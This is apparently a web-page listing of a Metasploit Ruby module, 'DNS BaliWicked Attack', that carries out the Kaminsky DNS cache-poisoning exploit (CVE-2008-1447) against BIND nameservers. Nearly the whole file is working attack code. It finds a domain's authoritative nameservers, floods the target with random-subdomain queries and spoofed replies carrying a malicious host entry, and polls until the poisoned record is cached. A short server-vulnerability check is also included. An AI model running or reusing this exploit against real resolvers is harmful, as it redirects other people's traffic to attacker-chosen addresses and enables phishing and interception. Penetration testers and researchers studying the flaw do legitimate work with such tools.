| require 'msf/core' | |
| 2 | require 'net/dns' |
|---|---|
| 3 | require 'scruby' |
| 4 | require 'resolv' |
| 5 | |
| 6 | module Msf |
| 7 | |
| 8 | class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary |
| 9 | |
| 10 | include Exploit::Remote::Ip |
| 11 | |
| 12 | def initialize(info = {}) |
| 13 | super(update_info(info, |
| 14 | 'Name' => 'DNS BaliWicked Attack', |
| 15 | 'Description' => %q{ |
| 16 | This exploit attacks a fairly ubiquitous flaw in DNS implementations which |
| 17 | Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single |
| 18 | malicious host entry into the target nameserver by sending random sub-domain |
| 19 | queries to the target DNS server coupled with spoofed replies to those |
| 20 | queries from the authoritative nameservers for the domain which contain a |
| 21 | malicious host entry for the hostname to be poisoned in the authority and |
| 22 | additional records sections. Eventually, a guessed ID will match and the |
| 23 | spoofed packet will get accepted, and due to the additional hostname entry |
| 24 | being within baliwick constraints of the original request the malicious host |
| 25 | entry will get cached. |
| 26 | }, |
| 27 | 'Author' => [ 'I)ruid', 'hdm' ], |
| 28 | 'License' => MSF_LICENSE, |
| 29 | 'Version' => '$Revision$', |
| 30 | 'References' => |
| 31 | [ |
| 32 | [ 'CVE', '2008-1447' ], |
| 33 | [ 'US-CERT-VU', '8000113' ], |
| 34 | [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ], |
| 35 | ], |
| 36 | 'Privileged' => true, |
| 37 | 'Targets' => |
| 38 | [ |
| 39 | ["BIND", |
| 40 | { |
| 41 | 'Arch' => ARCH_X86, |
| 42 | 'Platform' => 'linux', |
| 43 | }, |
| 44 | ], |
| 45 | ], |
| 46 | 'DisclosureDate' => 'Jul 21 2008' |
| 47 | )) |
| 48 | |
| 49 | register_options( |
| 50 | [ |
| 51 | OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), |
| 52 | OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']), |
| 53 | OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), |
| 54 | OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), |
| 55 | OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), |
| 56 | OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]), |
| 57 | ], self.class) |
| 58 | |
| 59 | end |
| 60 | |
| 61 | def auxiliary_commands |
| 62 | return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } |
| 63 | end |
| 64 | |
| 65 | def cmd_check(*args) |
| 66 | targ = args[0] || rhost() |
| 67 | if(not (targ and targ.length > 0)) |
| 68 | print_status("usage: check [dns-server]") |
| 69 | return |
| 70 | end |
| 71 | |
| 72 | print_status("Using the Metasploit service to verify exploitability...") |
| 73 | srv_sock = Rex::Socket.create_udp( |
| 74 | 'PeerHost' => targ, |
| 75 | 'PeerPort' => 53 |
| 76 | ) |
| 77 | |
| 78 | random = false |
| 79 | ports = [] |
| 80 | lport = nil |
| 81 | |
| 82 | 1.upto(5) do |i| |
| 83 | |
| 84 | req = Resolv::DNS::Message.new |
| 85 | txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" |
| 86 | req.add_question(txt, Resolv::DNS::Resource::IN::TXT) |
| 87 | req.rd = 1 |
| 88 | |
| 89 | srv_sock.put(req.encode) |
| 90 | res, addr = srv_sock.recvfrom() |
| 91 | |
| 92 | |
| 93 | if res and res.length > 0 |
| 94 | res = Resolv::DNS::Message.decode(res) |
| 95 | res.each_answer do |name, ttl, data| |
| 96 | if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) |
| 97 | t_addr, t_port = $1.split(':') |
| 98 | |
| 99 | print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") |
| 100 | t_port = t_port.to_i |
| 101 | if(lport and lport != t_port) |
| 102 | random = true |
| 103 | end |
| 104 | lport = t_port |
| 105 | ports << t_port |
| 106 | end |
| 107 | end |
| 108 | end |
| 109 | end |
| 110 | |
| 111 | srv_sock.close |
| 112 | |
| 113 | if(ports.length < 5) |
| 114 | print_status("UNKNOWN: This server did not reply to our vulnerability check requests") |
| 115 | return |
| 116 | end |
| 117 | |
| 118 | if(random) |
| 119 | print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") |
| 120 | print_status(" This server may still be exploitable, but not by this tool.") |
| 121 | else |
| 122 | print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") |
| 123 | end |
| 124 | end |
| 125 | |
| 126 | def run |
| 127 | target = rhost() |
| 128 | source = Rex::Socket.source_address(target) |
| 129 | sport = datastore['SRCPORT'] |
| 130 | hostname = datastore['HOSTNAME'] + '.' |
| 131 | address = datastore['NEWADDR'] |
| 132 | recons = datastore['RECONS'] |
| 133 | xids = datastore['XIDS'].to_i |
| 134 | ttl = datastore['TTL'].to_i |
| 135 | |
| 136 | domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] |
| 137 | |
| 138 | srv_sock = Rex::Socket.create_udp( |
| 139 | 'PeerHost' => target, |
| 140 | 'PeerPort' => 53 |
| 141 | ) |
| 142 | |
| 143 | # Get the source port via the metasploit service if it's not set |
| 144 | if sport.to_i == 0 |
| 145 | req = Resolv::DNS::Message.new |
| 146 | txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" |
| 147 | req.add_question(txt, Resolv::DNS::Resource::IN::TXT) |
| 148 | req.rd = 1 |
| 149 | |
| 150 | srv_sock.put(req.encode) |
| 151 | res, addr = srv_sock.recvfrom() |
| 152 | |
| 153 | if res and res.length > 0 |
| 154 | res = Resolv::DNS::Message.decode(res) |
| 155 | res.each_answer do |name, ttl, data| |
| 156 | if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) |
| 157 | t_addr, t_port = $1.split(':') |
| 158 | sport = t_port.to_i |
| 159 | |
| 160 | print_status("Switching to target port #{sport} based on Metasploit service") |
| 161 | if target != t_addr |
| 162 | print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") |
| 163 | end |
| 164 | end |
| 165 | end |
| 166 | end |
| 167 | end |
| 168 | |
| 169 | # Verify its not already cached |
| 170 | begin |
| 171 | query = Resolv::DNS::Message.new |
| 172 | query.add_question(hostname, Resolv::DNS::Resource::IN::A) |
| 173 | query.rd = 0 |
| 174 | |
| 175 | begin |
| 176 | cached = false |
| 177 | srv_sock.put(query.encode) |
| 178 | answer, addr = srv_sock.recvfrom() |
| 179 | |
| 180 | if answer and answer.length > 0 |
| 181 | answer = Resolv::DNS::Message.decode(answer) |
| 182 | answer.each_answer do |name, ttl, data| |
| 183 | if((name.to_s + ".") == hostname and data.address.to_s == address) |
| 184 | t = Time.now + ttl |
| 185 | print_status("Failure: This hostname is already in the target cache: #{name} == #{address}") |
| 186 | print_status(" Cache entry expires on #{t.to_s}... sleeping.") |
| 187 | cached = true |
| 188 | sleep ttl |
| 189 | end |
| 190 | end |
| 191 | end |
| 192 | end until not cached |
| 193 | rescue ::Interrupt |
| 194 | raise $! |
| 195 | rescue ::Exception => e |
| 196 | print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") |
| 197 | end |
| 198 | |
| 199 | res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver |
| 200 | |
| 201 | print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}" |
| 202 | |
| 203 | # Look up the nameservers for the domain |
| 204 | print_status "Querying recon nameserver for #{domain}'s nameservers..." |
| 205 | answer0 = res0.send(domain, Net::DNS::NS) |
| 206 | #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" |
| 207 | |
| 208 | barbs = [] # storage for nameservers |
| 209 | answer0.answer.each do |rr0| |
| 210 | print_status " Got an #{rr0.type} record: #{rr0.inspect}" |
| 211 | if rr0.type == 'NS' |
| 212 | print_status "Querying recon nameserver for address of #{rr0.nsdname}..." |
| 213 | answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname |
| 214 | #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" |
| 215 | answer1.answer.each do |rr1| |
| 216 | print_status " Got an #{rr1.type} record: #{rr1.inspect}" |
| 217 | res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) |
| 218 | print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." |
| 219 | answer2 = res2.send(domain) |
| 220 | if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 |
| 221 | nsrec = {:name => rr0.nsdname, :addr => rr1.address} |
| 222 | barbs << nsrec |
| 223 | print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" |
| 224 | end |
| 225 | end |
| 226 | end |
| 227 | end |
| 228 | |
| 229 | if barbs.length == 0 |
| 230 | print_status( "No DNS servers found.") |
| 231 | srv_sock.close |
| 232 | disconnect_ip |
| 233 | return |
| 234 | end |
| 235 | |
| 236 | # Flood the target with queries and spoofed responses, one will eventually hit |
| 237 | queries = 0 |
| 238 | responses = 0 |
| 239 | |
| 240 | connect_ip if not ip_sock |
| 241 | |
| 242 | print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") |
| 243 | |
| 244 | while true |
| 245 | randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname |
| 246 | |
| 247 | # Send spoofed query |
| 248 | req = Resolv::DNS::Message.new |
| 249 | req.id = rand(2**16) |
| 250 | req.add_question(randhost, Resolv::DNS::Resource::IN::A) |
| 251 | |
| 252 | req.rd = 1 |
| 253 | |
| 254 | buff = ( |
| 255 | Scruby::IP.new( |
| 256 | #:src => barbs[0][:addr].to_s, |
| 257 | :src => source, |
| 258 | :dst => target, |
| 259 | :proto => 17 |
| 260 | )/Scruby::UDP.new( |
| 261 | :sport => (rand((2**16)-1024)+1024).to_i, |
| 262 | :dport => 53 |
| 263 | )/req.encode |
| 264 | ).to_net |
| 265 | ip_sock.sendto(buff, target) |
| 266 | queries += 1 |
| 267 | |
| 268 | # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) |
| 269 | req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) |
| 270 | req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) |
| 271 | req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) |
| 272 | req.qr = 1 |
| 273 | req.ra = 1 |
| 274 | |
| 275 | p = rand(4)+2*10000 |
| 276 | p.upto(p+xids-1) do |id| |
| 277 | req.id = id |
| 278 | barbs.each do |barb| |
| 279 | buff = ( |
| 280 | Scruby::IP.new( |
| 281 | #:src => barbs[i][:addr].to_s, |
| 282 | :src => barb[:addr].to_s, |
| 283 | :dst => target, |
| 284 | :proto => 17 |
| 285 | )/Scruby::UDP.new( |
| 286 | :sport => 53, |
| 287 | :dport => sport.to_i |
| 288 | )/req.encode |
| 289 | ).to_net |
| 290 | ip_sock.sendto(buff, target) |
| 291 | responses += 1 |
| 292 | end |
| 293 | end |
| 294 | |
| 295 | # status update |
| 296 | if queries % 1000 == 0 |
| 297 | print_status("Sent #{queries} queries and #{responses} spoofed responses...") |
| 298 | end |
| 299 | |
| 300 | # every so often, check and see if the target is poisoned... |
| 301 | if queries % 250 == 0 |
| 302 | begin |
| 303 | query = Resolv::DNS::Message.new |
| 304 | query.add_question(hostname, Resolv::DNS::Resource::IN::A) |
| 305 | query.rd = 0 |
| 306 | |
| 307 | srv_sock.put(query.encode) |
| 308 | answer, addr = srv_sock.recvfrom() |
| 309 | |
| 310 | if answer and answer.length > 0 |
| 311 | answer = Resolv::DNS::Message.decode(answer) |
| 312 | answer.each_answer do |name, ttl, data| |
| 313 | if((name.to_s + ".") == hostname and data.address.to_s == address) |
| 314 | print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}") |
| 315 | disconnect_ip |
| 316 | return |
| 317 | end |
| 318 | end |
| 319 | end |
| 320 | rescue ::Interrupt |
| 321 | raise $! |
| 322 | rescue ::Exception => e |
| 323 | print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") |
| 324 | end |
| 325 | end |
| 326 | |
| 327 | end |
| 328 | |
| 329 | end |
| 330 | |
| 331 | end |
| 332 | end |
浙公网安备 33010602011771号